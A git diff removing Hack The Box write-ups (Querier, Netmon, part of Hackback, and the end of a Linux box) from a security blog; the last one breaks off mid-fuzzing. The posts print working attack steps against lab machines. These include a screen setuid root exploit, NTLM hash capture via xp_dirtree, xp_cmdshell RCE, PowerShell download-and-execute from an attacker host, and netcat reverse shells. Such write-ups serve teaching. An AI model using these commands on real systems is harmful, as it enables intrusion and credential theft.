-bash-4.4$ wget 10.10.14.23:4444/rootshell
---2019-01-30 03:27:16-- http://10.10.14.23:4444/rootshell
-Connecting to 10.10.14.23:4444... connected.
-HTTP request sent, awaiting response... 200 OK
-Length: 16824 (16K) [application/octet-stream]
-Saving to: ‘rootshell’
-
-rootshell 16.43K --.-KB/s in 0.008s
-
-2019-01-30 03:27:16 (2.05 MB/s) - ‘rootshell’ saved [16824/16824]
-
-bash-4.4$ wget 10.10.14.23:4444/libhax.so
---2019-01-30 03:27:25-- http://10.10.14.23:4444/libhax.so
-Connecting to 10.10.14.23:4444... connected.
-HTTP request sent, awaiting response... 200 OK
-Length: 16136 (16K) [application/octet-stream]
-Saving to: ‘libhax.so’
-
-libhax.so 15.76K --.-KB/s in 0.008s
-
-2019-01-30 03:27:25 (1.94 MB/s) - ‘libhax.so’ saved [16136/16136]
-
-bash-4.4$ chmod +x rootshell
-```
-
-Then execute it:
-
-```
-bash-4.4$ chmod +x rootshell
-bash-4.4$ cd /etc
-bash-4.4$ umask 000
-bash-4.4$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
-Directory '/run/screen' must have mode 755.
-bash-4.4$ screen -ls
-Directory '/run/screen' must have mode 755.
-bash-4.4$ /tmp/rootshell
-$
-```
-
-Uh? No root privileges?
-
-Oh... I forgot to use the correct binary in `/usr/local/share/screen` which is setuid. Let's try again with the right path:
-
-```
-bash-4.4$ /usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
-bash-4.4$ /usr/local/share/screen/screen -ls
-No Sockets found in /tmp/screens/S-drno.
-
-bash-4.4$ /tmp/rootshell
-# id
-uid=0(root) gid=0(root) groups=0(root),1000(drno),1002(super),1003(medic),1004(drugs),1005(doctor)
-# cat /root/root.txt
-70817...
-```
\ No newline at end of file
diff --git a/_posts/2019-06-22-htb-writeup-querier.md b/_posts/2019-06-22-htb-writeup-querier.md
deleted file mode 100644
index a2ec730aa5..0000000000
--- a/_posts/2019-06-22-htb-writeup-querier.md
+++ /dev/null
@@ -1,348 +0,0 @@
----
-layout: single
-title: Querier - Hack The Box
-excerpt: "To solve Querier, we find an Excel spreadsheet that contains a VBA macro then use Responder to capture NTLM hashes from the server by forcing it to connect back to our machine with `xp_dirtree`. After cracking the hash, we gain RCE on the server by using the standard `xp_cmdshell` command. The Administator credentials are found in a Group Policy Preference file."
-date: 2019-06-22
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-querier/querier_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - windows
- - hardcoded credentials
- - mssql
- - gpp
- - winrm
- - impacket
- - responder
----
-
-
-
-To solve Querier, we find an Excel spreadsheet that contains a VBA macro then use Responder to capture NTLM hashes from the server by forcing it to connect back to our machine with `xp_dirtree`. After cracking the hash, we gain RCE on the server by using the standard `xp_cmdshell` command. The Administator credentials are found in a Group Policy Preference file.
-
-## Summary
-
-- An SMB share contains a binary file with hardcoded MSSQL credentials
-- We can log in to MSSQL and get the `mssql-svc` user hash using `xp_dirtree` and responder
-- Logging in as `mssql-svc` to MSSQL we can use `xp_cmdshell` to get RCE
-- Using PowerUp, we find the administrator password in a GPP xml file
-
-## Detailed steps
-
-Port scan shows SMB is open, along with MSSQL and WinRM.
-
-```
-# nmap -sC -sV -p- 10.10.10.125 -oA querier
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 00:56 EST
-Nmap scan report for querier.htb (10.10.10.125)
-Host is up (0.013s latency).
-Not shown: 65521 closed ports
-PORT STATE SERVICE VERSION
-135/tcp open msrpc Microsoft Windows RPC
-139/tcp open netbios-ssn Microsoft Windows netbios-ssn
-445/tcp open microsoft-ds?
-1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00
-| ms-sql-ntlm-info:
-| Target_Name: HTB
-| NetBIOS_Domain_Name: HTB
-| NetBIOS_Computer_Name: QUERIER
-| DNS_Domain_Name: HTB.LOCAL
-| DNS_Computer_Name: QUERIER.HTB.LOCAL
-| DNS_Tree_Name: HTB.LOCAL
-|_ Product_Version: 10.0.17763
-| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
-| Not valid before: 2019-02-16T18:52:53
-|_Not valid after: 2049-02-16T18:52:53
-|_ssl-date: 2019-02-16T18:54:24+00:00; +12h57m10s from scanner time.
-5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
-|_http-server-header: Microsoft-HTTPAPI/2.0
-|_http-title: Not Found
-47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
-|_http-server-header: Microsoft-HTTPAPI/2.0
-|_http-title: Not Found
-49664/tcp open msrpc Microsoft Windows RPC
-49665/tcp open msrpc Microsoft Windows RPC
-49666/tcp open msrpc Microsoft Windows RPC
-49667/tcp open msrpc Microsoft Windows RPC
-49668/tcp open msrpc Microsoft Windows RPC
-49669/tcp open msrpc Microsoft Windows RPC
-49670/tcp open msrpc Microsoft Windows RPC
-49671/tcp open msrpc Microsoft Windows RPC
-Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
-
-Host script results:
-|_clock-skew: mean: 12h57m10s, deviation: 0s, median: 12h57m09s
-| ms-sql-info:
-| 10.10.10.125:1433:
-| Version:
-| name: Microsoft SQL Server
-| number: 14.00.1000.00
-| Product: Microsoft SQL Server
-|_ TCP port: 1433
-| smb2-security-mode:
-| 2.02:
-|_ Message signing enabled but not required
-| smb2-time:
-| date: 2019-02-16 13:54:23
-|_ start_date: N/A
-```
-
-### SMB share enumeration
-
-The share enumeration didn't work reliably when I first did the box. For some reason I would get random connection timeouts. I had to try the enumeration a few times, I don't know why though.
-
-```
-# smbmap -u invalid -H 10.10.10.125
-[+] Finding open SMB ports....
-[+] Guest SMB session established on 10.10.10.125...
-[+] IP: 10.10.10.125:445 Name: querier.htb
- Disk Permissions
- ---- -----------
- ADMIN$ NO ACCESS
- C$ NO ACCESS
- IPC$ READ ONLY
- Reports READ ONLY
-```
-
-There a `Reports` share that our user has read access to. I logged on using smbclient and downloaded the file.
-
-```
-# smbclient -U QUERIER/invalid //10.10.10.125/Reports
-Enter QUERIER\invalid's password:
-Try "help" to get a list of possible commands.
-smb: \> ls
- . D 0 Mon Jan 28 18:23:48 2019
- .. D 0 Mon Jan 28 18:23:48 2019
- Currency Volume Report.xlsm A 12229 Sun Jan 27 17:21:34 2019
-
- 6469119 blocks of size 4096. 1572541 blocks available
-smb: \> get "Currency Volume Report.xlsm"
-getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (124.4 KiloBytes/sec) (average 124.4 KiloBytes/sec)
-```
-
-The 2007+ Microsoft Office format is basically a zip compressed file. We can see the contents of that Macro file without using LibreOffice with:
-
-```
-# file 'Currency Volume Report.xlsm'
-Currency Volume Report.xlsm: Microsoft Excel 2007+
-
-# unzip 'Currency Volume Report.xlsm'
-Archive: Currency Volume Report.xlsm
- inflating: [Content_Types].xml
- inflating: _rels/.rels
- inflating: xl/workbook.xml
- inflating: xl/_rels/workbook.xml.rels
- inflating: xl/worksheets/sheet1.xml
- inflating: xl/theme/theme1.xml
- inflating: xl/styles.xml
- inflating: xl/vbaProject.bin
- inflating: docProps/core.xml
- inflating: docProps/app.xml
-```
-
-I checked out all the files and eventually found a connection string inside the `vbaProject.bin` binary file:
-
-```
-# strings vbaProject.bin
- macro to pull data for client volume reports
-n.Conn]
-Open
-rver=<
-SELECT * FROM volume;
-word>
- MsgBox "connection successful"
-Set rs = conn.Execute("SELECT * @@version;")
-Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6
-```
-
-So it seems that the username and password for the MSSQL server have been hardcoded into the macro. We can also see this by opening the file in LibreOffice and checking out the macros:
-
-
-
-- Username: `reporting`
-- Password: `PcwTWTHRwryjc$c6`
-
-### Getting RCE through MSSQL
-
-I used the Impacket `mssqlclient.py` to connect to the database:
-
-```
-# /usr/share/doc/python-impacket/examples/mssqlclient.py -windows-auth querier/reporting@querier.htb
-Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
-
-Password:
-[*] Encryption required, switching to TLS
-[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
-[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
-[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
-[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
-[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
-[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
-[!] Press help for extra shell commands
-SQL>
-```
-
-The first thing I tried was to use `xp_cmdshell` to run commands but the current user doesn't have enough privileges:
-
-```
-SQL> xp_cmdshell "whoami";
-[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
-SQL> EXEC sp_configure 'show advanced options', 1;
-[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
-SQL> RECONFIGURE;
-[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
-```
-
-However, we can trigger an SMB connection back to us with `xp_dirtree` and steal the NTLMv2 hash from the server using Responder:
-
-```
-SQL> xp_dirtree "\\10.10.14.23\gimmesomehashes"
-```
-
-
-
-The account is using a weak password that we can crack with the `rockyou.txt` wordlist:
-
-```
-# john -w=/usr/share/wordlists/rockyou.txt --fork=4 hash.txt
-Using default input encoding: UTF-8
-Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
-Node numbers 1-4 of 4 (fork)
-Press 'q' or Ctrl-C to abort, almost any other key for status
-corporate568 (mssql-svc)
-1 0g 0:00:00:06 DONE (2019-02-17 19:17) 0g/s 428905p/s 428905c/s 428905C/s CHIKITITA1
-3 0g 0:00:00:06 DONE (2019-02-17 19:17) 0g/s 406211p/s 406211c/s 406211C/s Pippa1862
-2 0g 0:00:00:06 DONE (2019-02-17 19:17) 0g/s 421156p/s 421156c/s 421156C/s HIKID25
-4 1g 0:00:00:06 DONE (2019-02-17 19:17) 0.1515g/s 339332p/s 339332c/s 339332C/s corporate568
-Waiting for 3 children to terminate
-Use the "--show" option to display all of the cracked passwords reliably
-Session completed
-```
-
-The password is: `corporate568`
-
-Now we can log in with that the `mssql-svc` account then enable `xp_cmdshell` and get RCE:
-
-```
-# /usr/share/doc/python-impacket/examples/mssqlclient.py -windows-auth querier/mssql-svc@querier.htb
-Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
-
-Password:
-[*] Encryption required, switching to TLS
-[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
-[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
-[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
-[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
-[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
-[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
-[!] Press help for extra shell commands
-SQL> EXEC sp_configure 'show advanced options', 1;
-[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
-SQL> RECONFIGURE;
-SQL> EXEC sp_configure 'xp_cmdshell', 1;
-[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
-SQL> RECONFIGURE;
-SQL> xp_cmdshell "dir c:\users"
-output
-
---------------------------------------------------------------------------------
-
- Volume in drive C has no label.
- Volume Serial Number is FE98-F373
-NULL
- Directory of c:\users
-NULL
-01/28/2019 11:41 PM .
-01/28/2019 11:41 PM ..
-01/28/2019 10:17 PM Administrator
-01/28/2019 11:42 PM mssql-svc
-01/28/2019 10:17 PM Public
- 0 File(s) 0 bytes
- 5 Dir(s) 6,438,649,856 bytes free
-NULL
-```
-
-At first I tried running a Nishang reverse shell but Windows Defender caught it. Then I tried downloading netcat with certutil.exe but that also was caught. So I used powershell instead to download netcat and then spawn a shell:
-
-```
-SQL> xp_cmdshell "powershell -command Invoke-WebRequest -Uri http://10.10.14.23/nc.exe -OutFile c:\programdata\nc.exe"
-```
-
-```
-# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.125] 49713
-Microsoft Windows [Version 10.0.17763.292]
-(c) 2018 Microsoft Corporation. All rights reserved.
-
-C:\Windows\system32>whoami
-whoami
-querier\mssql-svc
-
-C:\Windows\system32>type c:\users\mssql-svc\desktop\user.txt
-type c:\users\mssql-svc\desktop\user.txt
-c37b41b...
-```
-
-### Privesc
-
-I used Powersploit's PowerUp module to do some recon on the box and found the administrator credentials stored in the Group Policy Preference (GPP) xml file. As explained on many other blogs, that file is AES encrypted but the key was leaked on MSDN a couple of years ago so PowerUp is able to decrypt it automatically.
-
-```
-C:\Windows\system32>powershell
-
-PS C:\Windows\system32> IEX (New-Object Net.Webclient).downloadstring("http://10.10.14.23/PowerUp.ps1")
-PS C:\Windows\system32> invoke-allchecks
-[*] Checking for cached Group Policy Preferences .xml files....
-
-
-Changed : {2019-01-28 23:12:48}
-UserNames : {Administrator}
-NewName : [BLANK]
-Passwords : {MyUnclesAreMarioAndLuigi!!1!}
-File : C:\ProgramData\Microsoft\Group
- Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
- C:\Windows\system32>powershell
-```
-
-Password: `MyUnclesAreMarioAndLuigi!!1!`
-
-Using Alamot's WinRM ruby script, I was able to log in as `administrator`:
-
-```ruby
-require 'winrm'
-
-# Author: Alamot
-
-conn = WinRM::Connection.new(
- endpoint: 'http://10.10.10.125:5985/wsman',
- user: 'querier\administrator',
- password: 'MyUnclesAreMarioAndLuigi!!1!',
-)
-
-command=""
-
-conn.shell(:powershell) do |shell|
- until command == "exit\n" do
- output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
- print(output.output.chomp)
- command = gets
- output = shell.run(command) do |stdout, stderr|
- STDOUT.print stdout
- STDERR.print stderr
- end
- end
- puts "Exiting with code #{output.exitcode}"
-end
-```
-
-```
-# ruby querier.rb
-PS querier\administrator@QUERIER Documents> whoami
-querier\administrator
-PS querier\administrator@QUERIER Documents> type c:\users\administrator\desktop\root.txt
-b19c37...
-```
diff --git a/_posts/2019-06-29-htb-writeup-netmon.md b/_posts/2019-06-29-htb-writeup-netmon.md
deleted file mode 100644
index 9e2b15a692..0000000000
--- a/_posts/2019-06-29-htb-writeup-netmon.md
+++ /dev/null
@@ -1,186 +0,0 @@
----
-layout: single
-title: Netmon - Hack The Box
-excerpt: "I think Netmon had the quickest first blood on HTB yet. The user flag could be grabbed by just using anonymous FTP and retrieving it from the user directory. I guessed the PRTG admin password after finding an old backup file and changing the year in the password from 2018 to 2019. Once inside PRTG, I got RCE as SYSTEM by creating a sensor and using Nishang's reverse shell oneliner."
-date: 2019-06-29
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-netmon/netmon_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - ftp
- - prtg
- - powershell
- - nishang
- - config backups
----
-
-
-
-I think Netmon had the quickest first blood on HTB yet. The user flag could be grabbed by just using anonymous FTP and retrieving it from the user directory. I guessed the PRTG admin password after finding an old backup file and changing the year in the password from 2018 to 2019. Once inside PRTG, I got RCE as SYSTEM by creating a sensor and using Nishang's reverse shell oneliner.
-
-## Summary
-
-- We can log in with anonymous FTP and get the `user.txt` flag directly from the Public user folder
-- There's a PRTG configuration backup containing an old password that we can download from FTP
-- The PRTG password is the almost the same as the one found in the old backup but it ends with `2019` instead of `2018`
-- We can get RCE using Powershell scripts running as sensors in PRTG
-
-## Detailed steps
-
-### Nmap scan
-
-The nmap scan shows that anonymous FTP is allowed and that PRTG is running on the webserver.
-
-```
-# nmap -sC -sV -F 10.10.10.152
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 22:43 EST
-Nmap scan report for netmon.htb (10.10.10.152)
-Host is up (0.0090s latency).
-Not shown: 95 closed ports
-PORT STATE SERVICE VERSION
-21/tcp open ftp Microsoft ftpd
-| ftp-anon: Anonymous FTP login allowed (FTP code 230)
-| 02-02-19 11:18PM 1024 .rnd
-| 02-25-19 09:15PM inetpub
-| 07-16-16 08:18AM PerfLogs
-| 02-25-19 09:56PM Program Files
-| 02-02-19 11:28PM Program Files (x86)
-| 02-03-19 07:08AM Users
-|_02-25-19 10:49PM Windows
-| ftp-syst:
-|_ SYST: Windows_NT
-80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
-|_http-server-header: PRTG/18.1.37.13946
-| http-title: Welcome | PRTG Network Monitor (NETMON)
-|_Requested resource was /index.htm
-|_http-trane-info: Problem with XML parsing of /evox/about
-135/tcp open msrpc Microsoft Windows RPC
-139/tcp open netbios-ssn Microsoft Windows netbios-ssn
-445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
-Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
-```
-
-### Free flag from FTP
-
-In the nmap scan, the script identified that the FTP server allows anonymous access. Because we're not constrained to `ftproot` and we can look around the entire disk of the box, I quickly found a `user.txt` flag in the `c:\users\public` folder.
-
-```
-# ftp 10.10.10.152
-Connected to 10.10.10.152.
-220 Microsoft FTP Service
-Name (10.10.10.152:root): anonymous
-331 Anonymous access allowed, send identity (e-mail name) as password.
-Password:
-230 User logged in.
-Remote system type is Windows_NT.
-ftp> cd /users/public
-250 CWD command successful.
-ftp> dir
-200 PORT command successful.
-125 Data connection already open; Transfer starting.
-02-03-19 07:05AM Documents
-07-16-16 08:18AM Downloads
-07-16-16 08:18AM Music
-07-16-16 08:18AM Pictures
-02-02-19 11:35PM 33 user.txt
-07-16-16 08:18AM Videos
-226 Transfer complete.
-ftp> type binary
-200 Type set to I.
-ftp> get user.txt
-local: user.txt remote: user.txt
-200 PORT command successful.
-125 Data connection already open; Transfer starting.
-226 Transfer complete.
-33 bytes received in 0.01 secs (4.5173 kB/s)
-ftp> exit
-221 Goodbye.
-
-root@ragingunicorn:~/htb/netmon# cat user.txt
-dd58c...
-```
-
-I was too slow for first blood, someone else on HTB got user blood in under 2 minutes.
-
-### Getting access to PRTG
-
-The PRTG application is running on port 80:
-
-
-
-I tried the default credentials `prtgadmin` / `prtgadmin` but I got access denied.
-
-Looking in the filesystem, I found that the configuration directory for PRTG is under `c:\programdata\paessler`.
-
-```
-ftp> cd /programdata
-250 CWD command successful.
-ftp> ls
-200 PORT command successful.
-125 Data connection already open; Transfer starting.
-02-02-19 11:15PM Licenses
-11-20-16 09:36PM Microsoft
-02-02-19 11:18PM Paessler
-```
-
-I found the configuration file and an old configuration from last year.
-
-```
-ftp> cd "PRTG Network Monitor"
-250 CWD command successful.
-ftp> ls
-200 PORT command successful.
-125 Data connection already open; Transfer starting.
-[...]
-02-25-19 09:54PM 1189697 PRTG Configuration.dat
-03-02-19 05:33PM 1198465 PRTG Configuration.old
-07-14-18 02:13AM 1153755 PRTG Configuration.old.bak
-```
-
-The `PRTG Configuration.dat` config file contains the credentials for user `prtgadmin` but they are encrypted (or hashed?) with what seems to be a proprietary method.
-
-
-
-When I checked `PRTG Configuration.old.bak`, I found the dbpassword: `PrTg@dmin2018`
-
-
-
-I tried this password with user `prtgadmin` on the PRTG login page but it didn't work. Then I realized that this is from a 2018 backup, maybe the admin is lazy and re-used the dbpassword for the admin account and simply used the current date (2019).
-
-My guess was correct and I was able to log in with password `PrTg@dmin2019`
-
-
-
-### RCE through PRTG sensors
-
-PRTG is a monitoring tool that supports a whole suite of sensors, like ping, http, snmp, etc. The server itself has been added in the device list, so it's safe to assume we can add sensors to it:
-
-
-
-I clicked add sensor on the 10.10.10.152 server then selected `EXE/Script sensor`.
-
-
-
-We can't add powershell custom scripts because we don't have write access to the application directory, but we can leverage the `Parameters` field to add additional code at the end of an existing Powershell script. I used Nishang to get a reverse shell. I added a semi colon at the beginning of the parameters, then pasted the Nishang code after.
-
-
-
-After the sensor is created, we hit the play button to execute it.
-
-
-
-And we get a shell as `nt authority\system`. Box done!
-
-```
-# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.152] 55751
-
-PS C:\Windows\system32> whoami
-nt authority\system
-PS C:\Windows\system32> type c:\users\administrator\desktop\root.txt
-30189...
-```
\ No newline at end of file
diff --git a/_posts/2019-07-06-htb-writeup-hackback.md b/_posts/2019-07-06-htb-writeup-hackback.md
deleted file mode 100644
index 5dbc248616..0000000000
--- a/_posts/2019-07-06-htb-writeup-hackback.md
+++ /dev/null
@@ -1,926 +0,0 @@
----
-layout: single
-title: Hackback - Hack The Box
-excerpt: "Hackback took me a long time to do. There are so many steps required just to get a shell. For extra difficulty, AppLocker is enabled and an outbound firewall policy is configured to block reverse shells. This box has a bit of everything: fuzzing, php, asp (for pivoting with reGeorg), command injection in a Powershell script, some light reversing. For the privesc, I used the diaghub vulnerability and modified an existing exploit to get a bind shell through netcat."
-date: 2019-07-06
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-hackback/hackback_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - windows
- - gophish
- - alpc
- - command injection
- - reversing
- - ntfs ads
- - powershell
- - regeorg
- - pivoting
- - fuzzing
- - php
- - asp
- - winrm
- - proxychains
----
-
-
-
-Hackback took me a long time to do. There are so many steps required just to get a shell. For extra difficulty, AppLocker is enabled and an outbound firewall policy is configured to block reverse shells. This box has a bit of everything: fuzzing, php, asp (for pivoting with reGeorg), command injection in a Powershell script, some light reversing. For the privesc, I used the diaghub vulnerability and modified an existing exploit to get a bind shell through netcat.
-
-## Summary
-
-- Find gophish website with default credentials
-- In gophish templates, find vhosts for fake HTB site and admin portal
-- Find hidden administration link from obfuscated JS code on the admin portal
-- Wfuzz different parameters on webadmin page
-- Determine that the log file name created is the SHA256 checksum of the IP address connecting to the fake HTB website
-- Use SHA256 as the session ID in the show action of the webadmin page to view logs
-- Injected PHP code in the log file through the fake HTB site login page and gain ability to read/write files on server
-- Obtain user `simple` Windows credentials from `web.config.old` file extracted from the server
-- Upload reGeorg tunnel.aspx to pivot to the remote machine
-- Log in with WinRM through the SOCKS proxy & tunnel using the credentials found in `web.config.old`
-- Exploit a command injection vulnerability in the `dellog.ps1` script and its associated `clean.ini` file to gain access to user `hacker`
-- Use diaghub exploit to execute arbitrary code and get a bind shell as SYSTEM
-
-## Detailed steps
-
-### Nmap scan
-
-The box is running a couple of different HTTP services on various ports: 80, 6666, 64831
-
-```
-# nmap -sC -sV -p- 10.10.10.128
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 23:21 EST
-Nmap scan report for hackback.htb (10.10.10.128)
-Host is up (0.0093s latency).
-Not shown: 65532 filtered ports
-PORT STATE SERVICE VERSION
-80/tcp open http Microsoft IIS httpd 10.0
-| http-methods:
-|_ Potentially risky methods: TRACE
-|_http-server-header: Microsoft-IIS/10.0
-|_http-title: IIS Windows Server
-6666/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
-|_http-server-header: Microsoft-HTTPAPI/2.0
-|_http-title: Site doesn't have a title.
-64831/tcp open ssl/unknown
-| fingerprint-strings:
-| FourOhFourRequest:
-| HTTP/1.0 404 Not Found
-| Content-Type: text/plain; charset=utf-8
-| Set-Cookie: _gorilla_csrf=MTU1MTU5NzI5M3xJamQwTlV4NE5reExOMkZXTTNGSE1qTjBjbXBQZVVsd2JIcGlkQ3RzV1cxTGVUZ3pVamxyVFUxdmNuYzlJZ289fCcrRBjaMGfHLMRcgH0dlzGlH8Cy6emg2qDuUnM3RFdx; HttpOnly; Secure
-| Vary: Accept-Encoding
-| Vary: Cookie
-| X-Content-Type-Options: nosniff
-| Date: Sun, 03 Mar 2019 07:14:53 GMT
-| Content-Length: 19
-| page not found
-| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq:
-| HTTP/1.1 400 Bad Request
-| Content-Type: text/plain; charset=utf-8
-| Connection: close
-| Request
-| GetRequest:
-| HTTP/1.0 302 Found
-| Content-Type: text/html; charset=utf-8
-| Location: /login?next=%2F
-| Set-Cookie: _gorilla_csrf=MTU1MTU5NzI2N3xJbGhVYlVOa2RIbFpOVmw1VFRaMVJ5dHljV3BhU25aVVdtWTBhR2MwYlZsYWJEaG9aR014VDBoNlMwazlJZ289fDWKudYR9rrjWpWCasQcOixRNCRPK5eaVMKphjXIBDPB; HttpOnly; Secure
-| Vary: Accept-Encoding
-| Vary: Cookie
-| Date: Sun, 03 Mar 2019 07:14:27 GMT
-| Content-Length: 38
-| href="/login?next=%2F">Found.
-| HTTPOptions:
-| HTTP/1.0 302 Found
-| Location: /login?next=%2F
-| Set-Cookie: _gorilla_csrf=MTU1MTU5NzI2N3xJbVkxUVdwb1FtRjBjM0ZGWm5BdkwzZHRNbkZVTXl0Qk5VWkZaVFZwVjBoaldUSjVTemQ2VG5sR1dsazlJZ289fMGxoxDhwdZVndica_2TocbOxXZbpClx4Ony-cgy4a9K; HttpOnly; Secure
-| Vary: Accept-Encoding
-| Vary: Cookie
-| Date: Sun, 03 Mar 2019 07:14:27 GMT
-|_ Content-Length: 0
-| ssl-cert: Subject: organizationName=Gophish
-```
-
-### Enumerating port 80
-
-The standard web server on port 80 doesn't have much except the image of a donkey:
-
-
-
-I checked for stego but since this is a 40 pts box from the Donkeys team there's probably not going to be much stego crap on this one.
-
-### Enumerating port 6666
-
-Next I checked out port 6666 and found some custom web application. It errors out expecting commands:
-
-
-
-I fuzzed the application with wfuzz and found the `/help` URI we can get a list of the available commands:
-
-
-
-The commands basically do what they say, they execute some function and provide the output in JSON format:
-
-
-
-
-
-I checked for command injection but didn't find any parameters that I could pass to the commands. So I moved on to the next port.
-
-### Enumerating port 64831
-
-I can't use HTTP to connect to port 64381:
-
-
-
-The nmap scan already picked up that it was running HTTPS, so I switched to HTTPS and found a Gophish application running. Gophish is an Open-Source phishing framework that makes it easy to launch phishing campaigns by using templates and running an integrated webserver to track the results.
-
-
-
-A quick google search shows that the default credentials for Gophish are `admin` / `gophish`. I tried those and was able to log in to the Gophish application:
-
-
-
-The Gophish database is pretty much empty except there are a few email templates already created:
-
-
-
-The templates contain a couple of generic fake emails use for phishing. I noticed two interesting vhosts in the templates.
-
-
-
-
-
-Based on the info I found I added `www.hackthebox.htb`, `hackthebox.htb` and `admin.hackback.htb` to my local host file.
-
-### Fake HTB site
-
-`hackthebox.htb` doesn't seem to be a valid vhost but `www.hackthebox.htb` is working and displays the login prompt for the fake HTB site.
-
-
-
-The form doesn't do anything when we enter the credentials, it just loads the same page again. So this is probably not meant to be exploited.
-
-### Admin page
-
-The `admin.hackback.htb` shows a login prompt for an application that I don't recognize.
-
-
-
-Both `Lost your Password?` and `Don't have An account?` link return a 404 page.
-
-I tried a couple of username / password combination but didn't get anywhere. Again, because this is a hard box, I guessed it wasn't going to be bruteforcable or anything trivial like this.
-
-The HTML comment contains something odd:
-
-
-
-There's a link to javascript directory that's commented out. I tried fetching the `js/.js` file but got a 404 message. Because directory indexing is disabled, I fired up gobuster and scanned `/js` for js files.
-
-```
-# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -x js -u http://admin.hackback.htb/js
-/private.js (Status: 200)
-```
-
-That `private.js` file contains some obfuscated javascript. I noticed that the `ine x=` pattern repeats a couple of times in the source code so I figured it must be using some simple character substitution. I pasted the code in CyberChef and tried ROT13:
-
-
-
-I still don't know what the code actually does so I just copy/pasted it in my browser's javascript console and examined each variable after the code was run. I checked the variables in the order in which they appear in the source code.
-
-
-
-
-
-So based on the hidden message, there's a secret directory `/2bb6916122f1da34dcd916421e531578` that should allow us to get access. When I tried to access that directory, I got a 302 redirect instead of a 404 so I knew this was a valid directory.
-
-Next I used gobuster to look for any ASP or PHP page in that directory:
-
-```
-# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -x php,asp,aspx -u http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578
-/. (Status: 200)
-/webadmin.php (Status: 302)
-```
-
-If I just browse to `/2bb6916122f1da34dcd916421e531578/webadmin.php` I get a 302 back to the main page. I checked out the different parameters found in the js file and noted the following:
-
-1. The `list` action requires the `site` parameter set.
-
-2. If we put an invalid `site` parameter we get a `Wrong target!` error mesasge
-
-3. If we put an invalid `password` parameter we get a `Wrong secret key!` error message
-
-4. The `init` action expects a `session` parameter but return a `Wrong identifier!` when we try a random value
-
-5. The `exec` action returns a `Missing command` error message. I guessed that it's expecting a `command` or `cmd` parameters. Adding `cmd` returns a `Exited x` message when we issue a command, where x = the length of the command sent. I couldn't figure out if any command was being executed or not. I tried some sleep commands to see if anything was being executed but I always got the message back without any delay. I figured this was probably a troll from the Donkeys team so I moved on.
-
-The next thing I did was fuzz the `password` parameter:
-
-```
-# wfuzz -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou-10.txt "http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/WebAdmin.php?action=list&site=hackthebox&password=FUZZ"
-
-==================================================================
-ID Response Lines Word Chars Payload
-==================================================================
-
-000001: C=302 0 L 3 W 17 Ch "123456"
-000002: C=302 0 L 3 W 17 Ch "12345"
-000003: C=302 0 L 3 W 17 Ch "123456789"
-000004: C=302 0 L 3 W 17 Ch "password"
-000005: C=302 0 L 3 W 17 Ch "iloveyou"
-000006: C=302 0 L 3 W 17 Ch "princess"
-000007: C=302 0 L 3 W 17 Ch "1234567"
-000008: C=302 7 L 15 W 197 Ch "12345678"
-000009: C=302 0 L 3 W 17 Ch "abc123"
